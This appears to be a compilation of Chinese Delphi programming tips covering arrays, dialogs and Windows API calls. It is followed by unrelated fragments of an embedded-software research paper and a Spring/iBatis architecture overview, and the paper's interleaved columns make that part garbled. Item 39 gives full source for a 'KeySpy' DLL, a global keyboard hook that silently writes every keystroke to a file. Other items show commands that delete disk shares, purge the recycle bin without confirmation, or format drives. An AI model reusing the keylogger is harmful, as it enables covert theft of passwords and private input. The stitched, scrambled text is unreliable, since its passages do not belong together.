Delphi 组件使用及其代码
Delphi 组件使用及其代码
1.数组定义
(1)一维数组数组名:array[n1 . . n2] of 数据类型;
(2)二维数组数组名:array[n1 . . n2,m1 . . m2] of 数据类型;
或者数组名:array[n1 . . n2] of array[m1 . . m2] of 数据类型;
(3)动态数组数组名:array of 数据类型;
使用前要用SetLength(数组名,数组长度);来动态申请空间。
2.使用math数学函数:
需要在uses引用里面添加math;
其中power(a,b)函数是求a的b次幂。
RandomRange(a,b)函数是随机产生一个a、b之间的数。
3.声明全局变量
需要在implementation之后声明;
初始化格式需要在最后一个end之后:
语句:initialization
赋值语句;
4.常量
在var后使用const关键字声明常量:如const PI = 3.14;
5.枚举类型使用
声明:type 枚举类型名=(枚举值1,枚举值2,……);
定义:var 变量名:枚举类型名;
6.指针类型
(1)@运算符:放在变量的前面,获得变量的地址;
^ 运算符:放在指针变量的后面,取得该指针变量中所存放地址变量的数据;(2)声明:type 指针类型名= ^数据类型;
var 指针变量名:指针类型名;
或者var 指针变量名:^数据类型;
7.日期时间函数
function Now:TDateTime;//返回系统当前日期和时间
function Date:TDateTime;//返回系统当前日期
function Time:TDateTime;//返回系统当前时间
function DateTimeToStr(DateTime:TDateTime):string;//将日期时间数据转换为字符串function StrToDateTime(const s:string):TDateTime;//将字符串转换为日期时间数据function DateToStr(DateTime:TDateTime):string;//将日期数据转换为字符串function TimeToStr(DateTime:TDateTime):string;//将时间数据转换为字符串
function FormatDateTime(const Format:string;DateTime:TDateTime):string;//按指定格式输出日期时间
例如:formatDatetime(‘yyyy-mm-dd’,now);formatDatetime(‘hh:mm:ss’,now);
8.自定义过程
(1)在type下声明:procedure <过程名>(<参数列表>);
(2)将光标移动定位在过程声明中,按Ctrl+Shift+C,实现自动生成部分过程框架。
procedu re <过程名>(<参数列表>)
<局部变量声明>;
begin
<过程体语句>;
end;
(3)自定义过程的调用:过程名(<实参表>);
9.自定义函数
(1)函数不用声明;
(2)function<函数名> [(<参数列表>)]:<返回类型>;
<局部变量声明>;
begin
<函数语句>;
end;
(3)自定义函数的调用:函数名(实参表);
10.对话框函数MessageDlg
(1)<变量>:=MessageDlg(‘信息内容’,类型,[按钮组],HelpCex);
(2)类型:mtWarning 含有感叹号符号的警告对话框
mtError 含有红色差号符号的错误对话框
mtInformation 含有蓝色i符号的信息对话框
mtConfirmation 含有蓝色?符号的确认对话框
mtCustom 不含图标的一般对话框,对话框的标题是程序的名称按钮组:mbYes Yes按钮,函数返回mrYes或6
mbNo No按钮,函数返回mrNo或7
mbOk Ok按钮,函数返回mrOk或1
mbCancel Cancel按钮,函数返回mrCancel或2
mbHelp Help按钮
mbAbort Abort按钮,函数返回mrAbort或3
mbRetry Retry按钮,函数返回mrRetry或4
mbIgnore Ignore按钮,函数返回mrIgnore或5
mbAll All按钮,函数返回mrAll或8
mbNoToAll NoToAll按钮,函数返回mrNoToAll或9
mbYesToAll YesToAll按钮,函数返回mrYesToAll或10
HelpCtx指定当用户单击“Help”按钮或
例如:if MessageDlg('您确定要关闭窗口吗?',mtConfirmation,[mbYes,mbNo],0)=mryes then 11..基本知识点
(1)if (key in ['0','1'..'9',#13,#8]) then //判断按下的是否为数字键、回车键和退格键#0表示没有任何内容
#32表示空格
(2)Delphi中Randomize方法用来随机初始化数据。
(3)Label的Transparent属性用来设置Label的显示方式是否透明显示。
(4)StringGrid属性Cells【A,B】,其中A控制列,B控制行。
(5)MessageBox显示消息:MessageBox(句柄,消息,消息框名,类型) 例如:MessageBox(0,PChar(‘你好’+edit1.text),‘欢迎你’,MB_OK)MessageBox(0,PChar(‘你好’+edit1.text),‘提示’,MB_ICONASTERISK
and MB_ICONINFORMA TION)//提示框
MessageBox(0,PChar(‘密码不能为空!’),‘警告’,
MB_ICONEXCLAMA TION)//警告框
12.制作闪现窗体
在Project->option中将闪现窗体设置为Available forms,之后显示的主窗体设置为Auto-create forms,并在主窗体的form的create事件中加入以下代码:
(1)先声明一个闪现窗体的变量:如About:=TForm2;
主窗体代码:About:=TForm2.Create(Application);//生成闪现窗体
About.show; //显示闪现窗体
(2)闪现窗体加入一个Timer事件,并在Timer的Timer事件中加入下面代码:close; //关闭窗体
Release; //释放变量
注意:可用Timer的Interval控制闪现窗体出现的事件,以毫秒为单位。
13.SavaDialog组件
(1)过滤文件:Filter
(2)保存文件默认后缀名DefaultExt属性填写后缀名,注意不要加‘.’;
(3)保存代码:
if savedialog1.Execute then
begin
memo1.Lines.SaveToFile(form1.SaveDialog1.FileName);
application.MessageBox('文件保存成功!','提示!',64);
end;
14.复制、移动文件
(1)复制文件
CopyFile('d:\db\123.txt','f:\db\123.txt',False);
WinExec('cmd /c copy d:\db\123.txt f:\db\123.txt',0);
使用以上函数目标目录必须存在!
CopyFile(源文件路径,目标文件路径,False(存在覆盖)True(存在不覆盖));
(2)移动正在使用的文件
MoveFileEx(所要移动的文件路径(及文件名),目标文件的路径(和文件名),移动标记);移动标记取值:
MOVEFILE_REPLACE_EXISTING=$00000001;//覆盖已经存在的文件,来源文件和目标不能在同一目录
MOVEFILE_COPY_ALLOWED=$00000002;//如果目标文件被移动到不同的卷上,则函数通过拷贝后删除来源文件的方法来模拟移动文件
MOVEFILE_DELAY_UNTIL_REBOOT=$00000004;//在系统重新启动后再执行移动操作,这个参数只能被拥有管理员权限或localsystem权限的程序使用,不能和MOVEFILE_COPY_ALLOWED一起使用。
MOVEFILE_WRITE_THROUGH=$00000008;//这个标记允许函数在执行完文件移动后才返回,否则不等文件移动完毕后就直接返回。如果设置了MOVEFILE_DELAY_UNTIL_REBOOT标记,则MOVEFILE_WRITE_THROUGH标记将被忽略。
MOVEFILE_CREATE_HARDLINK=$00000010;//系统保留,以供将来使用。
MOVEFILE_FAIL_IF_NOT_TRACKABLE=$00000020;//如果来源文件为1个link文件,但是文件在移动后不能够被tracked,则函数执行失败。如果目标文件在一个fat格式的文件系统上,则上述情况可以发生。该参数不支持NT系统。
15.在系统菜单中添加菜单项
i:=GetSystemMenu(Handle,False); //获取窗体的句柄
AppendMenu(i,MF_SEPARATOR,0,nil);//添加分割线
AppendMenu(i,MF_STRING,100,'我的菜单(&E)');//添加菜单项
16.创建和删除文件夹
DirectoryExists(路径) ;//判断文件夹是否存在
ForceDirectories(路径); //创建文件夹
mkdir(路径);//创建一个指定的目录
RmDir(路径); //删除文件夹
17.建立临时文件
function GetTempFileName(建立临时文件路径,临时文件的前缀(识别前3位),用于建立临时文件的号码,返回建立的临时文件名称)
例如:GetTempFileName(PChar(dir),'TEST',0,Temp);//生成临时文件名
18.把文件删除到回收站(注意:需要引用shellAPI单元)
首先:
var
SHFile:SHFILEOPSTRUCT;
with SHFile do
begin
Wnd:=0; //拥有者窗口句柄
wFunc:=FO_DELETE;//文件操作功能,可选项FO_COPY、FO_DELETE、FO_MOVE、FO_RENAME
pFrom:=PChar(DFile); //源文件
//pto 目标文件
fFlags:=FOF_ALLOWUNDO; //文件控制标志
//fAnyOperationsAborted 用户是否中断操作
//hNameMapping 指向一个SHNAMEMAPPING结构的指针
lpszProgressTitle:='将文件删除到回收站'; //进程标题
end;
SHFileOperation(SHFile);//删除文件,需要引用shellAPI单元
19.引用动态链接库(DLL文件使用)
(1)静态引用动态链接库
在implementation后
function 名称():Integer;stdcall;external 'XX.dll';
(2)动态引用动态链接库
1)LoadLibrary函数用于载入指定的动态链接库,并将它映射到当期进程使用的地址空间。函数原型如下:
HINSTANCE LoadLibrary(LPCTSTR lpLibFileName);
lpLibFileName:指定要载入的动态链接库的名称;
2)FreeLibrary函数用于释放那些由应用程序明确装载的DLL文件。函数原型如下:BOOL FreeLibrary(HMODULE hLibModule);
hLibModule:要释放的一个库的句柄;
注意:1个LoadLibrary函数对应1个FreeLibrary函数。
3)GetProcAddress函数用于获取DLL导出函数的地址,使用返回的函数指针调用DLL 函数。函数原型如下:
FARPROC GetProcAddress(HMODULE hModule,LPCSTR lpProcName);
hModule:包含此函数的DLL模块的句柄;
lpProcName:包含函数名以NULL结尾的字符串,或者是指定函数的序数值。
例子:
Tgetn=function:pchar;stdcall; //在var前声明
procedure TForm1.Button1Click(Sender: TObject);
var
onehandle:THandle;
fun:Tgetn;
begin
onehandle:=loadlibrary('getname.dll');
try
if onehandle <>0 then
@fun:=GetProcAddress(onehandle,'getnames');
if not(@fun=nil)then
label1.Caption:=fun;
finally
freelibrary(onehandle);
end;
end;
20.清空回收站
首先定义常量:
const
HERB_NOCONFIRMATION=$00000001;
SHERB_NOPROGRESSUI=$00000002;
SHERB_NOSOUND=$00000004;
然后引入静态链接库:(需要添加引用shellAPI单元)
function SHEmptyRecycleBinA(Wnd:HWND;str:PChar;WRD:DWORD):Integer;stdcall;external 'SHell32.dll';
最后:
SHEmptyRecycleBinA(application.handle,'',SHERB_NOCONFIRMATION+SHERB_NOPROG RESSUI+SHERB_NOSOUND);
21.FileListBox1.Items.Strings[i]用于得到FileListBox中指定的文件名。
22.更改目录
(1)GetDir(D:Byte;var S:string);//获取当前路径
D:目标磁盘。取值如下:0:default;1:A;2:B;3:C;
S:存储路径的字符串;
(2)ChDir(const S:string);//改变当前路径
S:改变后的路径
(3)ExtractFilePath(OpenDialog1.FileName);获取打开文件路径
ExtractFileName(OpenDialog1.FileName);获取打开的文件名
23.对ini文件进行操作(需要引用IniFiles单元)
新建ini文件
[PersionInfo]
Name=赵志勇
var
ini:TIniFile;;
ini:=TIniFile.Create(文件路径+'\文件名.ini');//打开ini文件
edit1.Text:=ini.ReadString('PersionInfo','Name','赵志勇');//读取文件
ini.WriteString('PersionInfo','Name',Edit1.Text);//修改文件
读取或修改ini文件后都需要释放资源:FreeAndNil(ini);
24.获取窗口文本
int GetWindowText(HWND hwnd,LPTSTR lpString,int nMaxCount);
hwnd:欲获取文字的窗口句柄
lpString:预定义的一个缓冲区,至少有nMaxCount个字符大小。
nMaxCount:lpString缓冲区的长度。
例如:GetWindowText(H_Window,@text,255)
25.StrPas(字符串)函数
StrPas(字符串);//将零终止字符串转换为Pascal类型字符串。
26.在程序中调用.hlp文件
WinHelp(handle,path,命令参数,附加数据(与命令参数有关));
例如:WinHelp(Self.Handle,PChar(dir+'\help.hlp'),HELP_CONTENTS,0);
27.获取硬盘序列号
Bool GetVolumeInformation(LPCSTR lpRootPathName,LPTSTR lpV olumeNameBuffer,
DWORD nV olumeNameSize,LPDWORD lpV olumeSerialNumber, LPDWORD lpMaximumComponentLength,LPDWORD lpFileSystemFlags,
LPTSTR lpFileSystemNameBuffer,DWORD nFileSystemNameSize) lpRootPathName:欲获取信息卷的根路径;
lpV olumeNameBuffer:用于装载卷名的一个字符串;(nil)
nV olumeNameSize:lpVolumeNameBuffer字符串的长度;(sizeof())
lpV olumeSerialNumber:用于装载磁盘卷序列号的变量;lpMaximumComponentLength:指定一个变量,用于装载文件名每一部分的长度;lpFileSystemFlags:用于装载一个或多个二进制位标志的长度;lpFileSystemNameBuffer:指定一个缓冲区,用于装载系统的名称;(nil)nFileSystemNameSize:lpFileSystemNameBuffer字符串的长度。(0)
例如:
function Get_HD_Serial(const Driverdir:Char):string;
var
nu:DWORD;
vf:DWORD;
volumeinfo:array[0..MAX_PA TH]of Char;
V_n:DWORD;
begin
GetV olumeInformation(PChar(Driverdir+':\'),nil,SizeOf(volumeinfo),@V_n,nu,vf,nil,0); Result:=Format('V_S:%8.0X',[V_n]);
end;
28.判断驱动器的类型
function GetDriveType(lpRootPathName:PChar):UNIT;stdcall;
lpRootPathName:驱动器盘符。
该函数返回一个整型标记符:
DRIVE_UNKNOWN(0):驱动器盘符无效;
DRIVE_NO_ROOT_DIR(1):这不是一个有效的驱动器;
DRIVE_REMOV ABLE(2):可移动驱动器;
DRIVE_FIXED(3):不可移动(本地)驱动器;
DRIVE_REMOTE(4):;网络(远程)驱动器;
DRIVE_CDROM(5):;光盘驱动器;
DRIVE_RAMDISK(6):RAM虚拟驱动器;
29.取消磁盘共享
使用DOS命令“NET SHARE 盘符$ /DEL”来实现;
function WinExec(lpCmdLine:LPCSTR;uCmdShow:UNIT):UNIT;stdcall;
lpCmdLine:表示命令行;
uCmdShow:表示是否显示窗口,如果为SW_Show将显示窗口,为SW_Hide隐藏窗口。例如:取消C盘共享:
inExec('cmd.exe /k NET SHARE C$ /DEL',SW_SHOW);
30.检测驱动器容量
BOOL GetDiskFreeSpace(LPCTSTR lpRootPathName,LPDWORD lpSectorsPerCluster,
LPDWORD lpBytesPerSector,LPDWORD lpNumberOfFreeCluster,
LPDWORD lpTotalNumberOfClusters);
lpRootPathName:不包括卷名的一个磁盘根路径;(C:\)
lpSectorsPerCluster:用于装载一个簇内扇区数的变量;(A)
lpBytesPerSector:用于装载一个扇区内字节数的变量;(B)lpNumberOfFreeCluster:用于装载磁盘上剩余簇数的变量;(C)lpTotalNumberOfClusters:用于装载磁盘上总簇数的变量。(D)
磁盘大小=A*B*D;磁盘剩余空间=A*B*C。(单位:B)
例如:GetDiskFreeSpace(‘C:\’,sec1,byt1,cl1,cl2);
31.格式化磁盘
需要先静态引用动态链接库:
function formatdrive(hwnd:HWND;drive:Word;formatid:Word;options:Word):LongInt stdcall;
external 'shell32.dll' name 'SHFormatDrive';
然后才可以使用。
function FormatDrive(hwnd:HWND;drive,formatid,options:word):longint stdcall;
hwnd:调用该函数的窗口句柄;
drive:格式化的目标磁盘,从0开始;
formatid:格式化ID;
options:格式化选项。
32.显示、隐藏鼠标
int ShowCursor(BOOL bShow);
bShow:该参数为True显示鼠标指针,False隐藏鼠标指针。
例如:
ShowCursor(False);//隐藏鼠标
ShowCursor(True);//显示鼠标
33.锁定计算机
LockWorkStation;//锁定计算机
34.检测系统启动模式
int GetSystemMetrics(int nIndex);//用于得到被定义的系统数据或者系统配置信息
nIndex取值:
SM_CLEANBOOT:返回系统启动方式
返回值0:正常启动
1:安全模式启动
2:网络安全模式启动
SM_CMOUSEBUTTONS:返回值为系统支持的鼠标键数,返回0则表示系统没有安装鼠标。
35.设置桌面颜色
BOOL WINAPI SetSysColors(int cElements,CONST INT *lpaElements,CONST COLORREF
*lpaRgbValues);
cElements:欲改变对象的数量;
lpaElements:按引用传递。这是1个整数数组的第1个元素,每个条目都包含1个常数,指定一个Windows显示对象,可参考GetSysColor函数。
lpaRgbValues:按引用传递。这是RGB值数组的第一个元素。该数组用于设置lpSysColor 数组中的对象颜色。
例如:
var
c_one,c_two:TColorRef;
begin
c_one:=COLOR_DESKTOP;
c_two:=RGB(数值,数值,数值) ;
SetSysColors(1,c_one,c_two);
end;
36.鼠标交换左右键(需要引用Registry单元)
例如:
var
mouse_key:TRegistry;
leftbutton,rightbutton:string;
valuetoread:string;
begin
leftbutton:='0';
rightbutton:='1';
valuetoread:='SwapMouseButtons';
mouse_key:=TRegistry.Create;
begin
mouse_key.RootKey:=HKEY_CURRENT_USER;
try
if mouse_key.OpenKey('Control Panel\mouse',True) then
begin
if mouse_key.ValueExists(valuetoread)then
if mouse_key.ReadString(valuetoread)=leftbutton then
begin
SwapMouseButton(True);
mouse_key.WriteString(valuetoread,rightbutton);
end
else
begin
SwapMouseButton(False);
mouse_key.WriteString(valuetoread,leftbutton);
end;
mouse_key.CloseKey;
end;
finally
mouse_key.Free;
end;
end;
end;
37.监控内存使用状态
var
memo_status:TMemoryStatus;
begin
//memo_status.dwLength:=SizeOf(memo_status);
GlobalMemoryStatus(memo_status);//此函数用来获取当前可用的物理和虚拟内存信息,返回信息保存在memo_status中。
memo_status.dwAvailPhys;//内存信息中的可用空间信息
memo_status.dwTotalPhys;//内存信息中的总内存信息
38.监视剪贴板信息(需要引用Clipbrd单元)
function TCilpboard,HasFormat(format:Word):Boolean;//检测剪贴板中是否具有指定格式的数据。
format:查看剪贴板中是否具有该参数指定的类型。
返回值:如果剪贴板中具有所指定格式的数据则返回True。
可以通过Clipboard.AsText属性能够得到当前剪贴板中的文本。
例子:
声明:procedure WMdrawclipboard(var aa:TMessage);message wm_drawclipboard;
public下声明:next:HWND;
procedure TForm1.WMdrawclipboard(var aa: TMessage);
begin
SendMessage(next,aa.Msg,aa.WParam,aa.LParam);
if(clipboard.HasFormat(CF_TEXT) or Clipboard.HasFormat(CF_OEMTEXT)) then
begin
Memo1.Clear;
Memo1.Lines.Add(clipboard.AsText);
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
next:=SetClipboardViewer(Handle); //使本窗口可以浏览剪贴板
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
ChangeClipboardChain(Handle,next);
SendMessage(next,WM_CHANGECBCHAIN,Handle,next);
end;
39.利用钩子技术实现监控键盘
(1)装载钩子
function
SetWindowsHookEx(idHook:Integer;lpfn:TFNHookProc;hmod:HINST;dwThreadId:DWOR
D):HHOOK;stdcall;
idHook:钩子的类型,键盘钩子使用WH_KEYBOARD;
lpfn:装载的钩子处理函数;
hmod:程序的实例句柄;
dwThreadId:线程ID
安装成功后返回钩子过程的句柄。
(2)卸载钩子
function UnHookWindowsHookEx(hhk:HHOOK):BOOL;stdcall;
hhk:卸载钩子的句柄。
例子:
(1)新建1个DLL文件,工程名为KeySpy。
library KeySpy;
uses
SysUtils,
Classes,
Windows,
hookproc in 'hookproc.pas';
exports
setkeyhook,endkeyhook;
begin
nexthookproc:=0;
procsaveexit:=exitproc;
exitproc:=@keyhookexit;
end.
(2)新建一个单元,命名为hookproc.
unit hookproc;
interface
uses
Windows,Messages,SysUtils,Controls,StdCtrls;
var
nexthookproc:HHOOK;
procsaveexit:Pointer;
function setkeyhook:BOOL;export;//加载钩子
function endkeyhook:BOOL;export;//卸载钩子
procedure keyhookexit;far;
const
afilename='G:\debug.txt';//将键盘动作写入文件中
var
debugfile:TextFile;
implementation
function
keyboardhookhandler(icode:Integer;wparam:WPARAM;lparam:LPARAM):LRESULT;stdcall;exp ort;
begin
if icode<0 then
begin
Result:=CallNextHookEx(nexthookproc,icode,wparam,lparam);
Exit;
end;
AssignFile(debugfile,afilename);
try
Append(debugfile);
except
Rewrite(debugfile);
end;
if(GetKeyState(wparam) and $8000)=$8000 then //获取按键状态
begin
if(GetKeyState(VK_RETURN)<0) then //是否按下回车键
Writeln(debugfile,'');
end
else
begin
write(debugfile,Char(wparam)); //写入文件
end;
end;
CloseFile(debugfile); //关闭文件
Result:=0;
end;
function setkeyhook:BOOL;export;//加载钩子
begin
if nexthookproc=0 then
begin
nexthookproc:=SetWindowsHookEx(WH_KEYBOARD,keyboardhookhandler,HInstance,0);//装载钩子
end;
Result:=nexthookproc<>0;
end;
function endkeyhook:BOOL;export;//卸载钩子
begin
if nexthookproc<>0 then
begin
UnhookWindowsHookEx(nexthookproc);//卸载钩子
nexthookproc:=0;
MessageBeep(0);
end;
Result:=nexthookproc=0;
end;
procedure keyhookexit;far;
begin
if nexthookproc<>0 then
endkeyhook;
ExitProc:=procsaveexit;
end;
end.
(3)选择“Project”“Compile KeySpy”生成DLL文件。
(4)新建应用程序
静态装载dll文件:
function setkeyhook:Boolean;stdcall;external 'KeySpy.dll';
function endkeyhook:Boolean;stdcall;external 'KeySpy.dll';
安装钩子直接调用setkeyhook函数,卸载钩子直接调用endkeyhook函数。
40.获取和修改计算机名
(1)获取计算机名
function GetComputerName(lpBuffer:PChar;var nSize:DWORD):BOOL;stdcall; lpBuffer:指向用于存储获得的计算机名的字符串地址。
nSize:字符串的最大长度。
(2)修改计算机名
function SetComputerName(lpComputerName:PChar):BOOL;stdcall; lpComputerName:准备修改的名称字符串。
41.开辟、释放空间函数
(1)GetMem(s字符串名,n字节数);//开辟n个字节空间给s字符串
(2)FreeMem(s字符串名,n字节数);//释放s字符串的n个字节空间
42.限制鼠标活动区域
(1)锁定、解除鼠标活动范围
function ClipCursor(lpRect:PRect):BOOL;stdcall;
lpRect:设置鼠标移动范围的矩阵指针(nil解除限定)
(2)坐标转换
function ClientToScreen(hWnd:HWND;var lpPoint :TPoint):BOOL;stdcall; hWnd:转换的窗口句柄;
lpPoint:一个坐标指针结构,该结构包含x和y两个域。
例子:
var //锁定鼠标
a,b:TPoint;
area:TRect;
begin
a.X:=GroupBox1.Left;
a.Y:=GroupBox1.Top;
b.X:=GroupBox1.Left + Groupbox1.Width;
b.Y:=GroupBox1.Top + GroupBox1.Height;
Windows.ClientToScreen(Handle,a);//坐标转换
Windows.ClientToScreen(Handle,b);//坐标转换
area.Left:=a.X;
area.Top:=a.Y;
area.Right:=b.X;
area.Bottom:=b.Y;
ClipCursor(@area);
end;
ClipCursor(nil);//解除鼠标锁定
43.打开控制面板中的程序
打开控制面板中的程序就是执行rundll32.exe,调用shell32.dll中的命令,执行rundll32.exe,可以使用执行外部命令函数WinExec。
UNIT WinExec(LPCSTR lpCmdLine,UNIT uCmdShow);
lpCmdLine:要执行的命令行;
uCmdShow:定义以怎样的形式启动程序的常数值。
(1)WinExec('Control desk.cpl',0);//打开桌面设置
(2)WinExec('Control main.cpl',0);//打开鼠标设置
44.Delphi内部函数SelectNext使用
SelectNext((Sender AS TWinControl),True,false);//把焦点传递到下一Control
SelectNext((Sender AS TWinControl),False,false);//把焦点传递到上一Control
第一个参数为当前控件,
第二个参数为True时表示找下一个,False表示找前一个,
第三参数为True时表示找下一个TabStop属性为True的控件,False相反。tabstop表示该控件在用tab键进行切换焦点时,是否要得到焦点。当设为true 时,如果你按tab键切换焦点,经过这个控件时,该控件会被选中,获得焦点。
45.ADOQUery.State获取ADOQuery的状态
state为当前ADOquery的状态,状态有以下几种:sInactive, dsBrowse, dsEdit, dsInsert, dsSetKey,dsCalcFields,dsFilter,dsNewValue,dsOldValue,sCurValue, dsBlockRead,dsInternalCalc, dsOpening
例如:if ADOQuery.state in [dsinsert,dsedit] then //如果ADOQuery的状态为插入或者编辑状态。
46.Assigned(pointer)
用来判断某一指针(pointer)或过程引用是否为nil(空),如果为空则返回假false。
47.Form.onclose事件
当Form.onclose事件触发时,action参数会取一个值,缺省情况它取caMinimize,因为传参caMinimize的结果不会影响到已经分配的类型实例指针空间,不然,可能会因为内存使用错误导致内存泄露。
如果acton:=cafree就是把分配给Tform类型实例的内存空间释放,但是,这仍然是不可靠的,因为,form实例的指针仍然执行这个内存地址,所以必须在form.ondestroy事件中写下代码:form:=nil;并且在从新实例化它之前必须如下:
if not assigned(form) then
form:=Tfrom.create(self);
form.show;
48.Delphi的条件编译指令
格式:{$指令满足指令的条件}
功能:协助除错和版本分类
指令分为三种:1.开关指令 2.条件指令3.参数指令。
条件指令(Conditional directives) :指示Compiler在编译的过程中, 按我们设定的条件, 选择性的采用/排除不同区域的程序代码。
一些常用的条件编译指令:
$DEFINE //用于定义一个条件符号,一旦定义,条件符号就为真
$ELSE //与$IFDEF配合使用,如果$IFDEF条件为假,则只对源文件$ELSE后一小部分进行编译
$ENDIF //结束一个以$IF开始的条件段
$IFDEF //对条件符号进行判断,为真则编译源文件
$IFNDEF //对条件符号进行判断,为假则编译源文件
$IFOPT //根据编译开关状态,对源文件编译
$UNDEF //撤消以前的条件符号定义
基于组件的嵌入式软件开发方法
基于组件的嵌入式软件开发方法研究 郑久寿 夏德天 何小亚 (中国航空计算技术研究所 十室 陕西 西安 710068) 摘 要: 为提高嵌入式系统软件的通用性和重用性,缩短同类软件的开发周期,从嵌入式系统的特点出发,提出一种基于可重用组件的嵌入式软件开发方法。首先介绍组件的基本概念,然后着重阐述嵌入式系统组件划分方法及设计具体组件接口的一般原则。最后通过对比传统嵌入式系统和基于组件的嵌入式系统软件开发方法的异同,提炼出基于组件的嵌入式软件开发方法的特点。具体项目实践证明该方法的可行性,具有良好的应用前景。 关键词: 嵌入式系统;软件重用;组件;接口设计 中图分类号:TP311 文献标识码:A 文章编号:1671-7597(2012)1120094-02 EJB,COM/DCOM,ActiveX,Web Services等形式存在的可运行 0 引言 二进制程序,也包括经过封装的源代码程序。从广义上来说,目前嵌入式电子产品发展日新月异,更新换代很快,软件 随着对软件重用理解的不断深入,软件组件概念的外延在不断代码量和复杂度随着功能的复杂性呈几何级的增加。在这种情 扩展,从组件实体到规格需求、系统架构、设计文档、测试用况下,传统的基于先前基础代码进行二次开发变的愈发困难。 例等各种具有重用价值的软件资源都是组件的组成部分。 倘若原来程序员离去,其他人员或新手修改源程序则变的愈加 2 嵌入式系统组件架构 困难和不可控。另外由于绝大多数程序内部结构之间相互耦 合,即使只对源代码的很小一部分进行修改,为了保证产品的根据IEEE的定义,嵌入式系统是“控制、监视或者辅助装质量,也应该对整个产品的源代码进行回归测试。在这种开发置、机器和设备运行的装置”,从中可以看出嵌入式系统是软模式下,程序的可重用性低,整个产品的软件开发和测试周期件和硬件的综合体。另外由于嵌入式系统涉及的领域很广,各长,软件成本高。因此寻求一种新的可重用可扩展的软件开发个不同领域的应用往往差别很大。因此不同领域应该针对本领 方法是解决这些问题的根本途径。域特定应针对这些问题,本文从嵌入式软件开发的特点和需求出 发,提出了一种新的基于可重用组件的软件开发方法,并在实 践中取得了较好的效果。 1 组件概述 软件组件(Component)的概念共生于软件重用。早在 1968年,在北大西洋公约组织(NATO)会议上就提出了软件重 用的概念,后来还为此制定了一整套软件重用的指导性标准, 其中包含了利用标准组件实现软件重用的基本思路。也是在这 次会议上,Mcllroy提出了软件组件、组件工厂等概念[1]。 基于组件的软件重用是产品重用的主要形式,软件组件技 术是当前重用研究的焦点。组件技术的基本思想在于,创建和 利用可重用的软件组件来解决应用软件的开发问题。与面向对 象编程语言不同,组件技术是一种更高层次的对象技术。它独 立于语言,只面向应用程序,只规定组件的外在表现,而不关 心其实现方法。 目前关于组件还没有一个统一的定义,以下是关于组件的 一些有代表性的观点[2]: 1)组件是一个独立的可传递的操作的集合; 2)组件是由对象类组合起来的物理意义上的包; 3)组件是软件开发过程中一个可替换的软件单元,它封 装了设计决策,并作为一个大单元的一部分和其他组件组合起 来; 4)组件是具有特定功能,能够跨越进程的边界实现网 络、语言、应用程序、开发工具和操作系统的“即插即用”的 独立对象; 5)组件是指应用系统中可以明确辨识的构成成分。而可 重用组件是指具有相对独立的功能和可重用价值的组件。 关于组件的定义可以从狭义和广义两方面来理解。从狭义 上来说,软件组件是指软件系统中具有相对独立功能、可以明 确辨识、接口由契约指定、和语境有明显依赖关系、可独立部 署、且多由第三方提供的可组装的软件实体。它既包括以用来开发组件,应用组件构建自己的应用系统。开发 出来的组件可以在本领域的不同型号产品间广泛重用。本文选取温度控制器作为应用对象来进行说明基于组件的嵌入式软件开发方法。所谓的温度控制器简单来说就是在暖通系统中通过控制压缩机的开关来达到精确控制温度的装置。具体来说,温度控制器定期测量环境温度,通过其温度算法将环境温度和该时间段的设定温度进行对比决定何时应开启或关闭压缩机使环境温度能迅速而平缓的达到设定温度而又不会产生温度的过冲,始终给用户舒适的感受。用户在任何时候也可对实时时钟和各个不同的时间段的温度设置点进行编辑或设定,并使其应用到温度算法中。另外点式或段式显示屏可以给用户显示环境温度、设定温度、时钟信息、电源状态等信息。 组件是软件系统中具有相对独立功能的软件实体,合理的划分组件,有利于组件的复用和实现,以及系统的配置管理。组件粒度越大,其复用程度就越高,但实现和理解组件就相对困难,重用难度加大;粒度越小,组件越易于复用,但管理组件等代价将增大,甚至大于复用带来的好处。划分组件时应从功能模块的完整性、高内聚和低耦合性等方面出发。依据重用原则、闭包原则、单人组件原则、消息传递原则[3],将通用温控器组件划分如图1所示(虚线框内为可重用组件)。 图1 组件架构 3 嵌入式组件接口设计 组件划分后需要进行接口设计,它是组件设计的重要部分。一个组件接口是一组逻辑上相互关联的操作,这些操作定 义了某类公共行为。接口是一组操作的规范,而非任何特定的
各种系统框架图简介
各种系统框架图简介 以下文字和架构图均在本人相关系统设计和架构方案中有所应用。 原文出处:https://www.360docs.net/doc/2114327343.html,/6517/viewspace-609654 1.Spring 架构图 Spring 是一个开源框架,是为了解决企业应用程序开发复杂性而创建的。框架的主要优势之一就是其分层架构,分层架构允许您选择使用哪一个组件,同时为J2EE 应用程序开发提供集成的框架。Spring 框架的功能可以用在任何 J2EE 服务器中,大多数功能也适用于不受管理的环境。Spring 的核心要点是:支持不绑定到特定J2EE 服务的可重用业务和数据访问对象。这样的对象可以在不同J2EE 环境(Web或EJB )、独立应用程序、测试环境之间重用。 组成Spring 框架的每个模块(或组件)都可以单独存在,或者与其他一个或多个模块联合实现。每个模块的功能如下: 核心容器:核心容器提供Spring 框架的基本功能。核心容器的主要组件是BeanFactory ,它是工厂模式的实现。BeanFactory 使用控制反转 (IOC )模式将应用程序的配置和依赖性规范与实际的应用程序代码分开。
?Spring 上下文:Spring 上下文是一个配置文件,向Spring 框架提供上下文信息。Spring 上下文包括企业服务,例如JNDI 、EJB 、电子邮件、国际化、校验和调度功能。 ?Spring AOP :通过配置管理特性,Spring AOP 模块直接将面向方面的编程功能集成到了Spring 框架中。所以,可以很容易地使Spring 框架管理的任何对象支持AOP 。Spring AOP 模块为基于Spring 的应用程序 中的对象提供了事务管理服务。通过使用Spring AOP ,不用依赖EJB 组件,就可以将声明性事务管理集成到应用程序中。 ?Spring DAO :JDBC DAO 抽象层提供了有意义的异常层次结构,可用该结构来管理异常处理和不同数据库供应商抛出的错误消息。异常层次结构 简化了错误处理,并且极大地降低了需要编写的异常代码数量(例如打 开和关闭连接)。Spring DAO 的面向JDBC 的异常遵从通用的DAO 异常 层次结构。 ?Spring ORM :Spring 框架插入了若干个ORM 框架,从而提供了ORM 的对象关系工具,其中包括JDO 、Hibernate 和iBatis SQL Map 。所有这些都遵从Spring 的通用事务和DAO 异常层次结构。 2.ibatis 架构图 ibatis 是一个基于Java的持久层框架。 iBATIS 提供的持久层框架包括SQL Maps 和Data Access Objects ( DAO ),同时还提供一个利用这个框架开发的 JPetStore 实例。
Java组件开发的一个概念框架
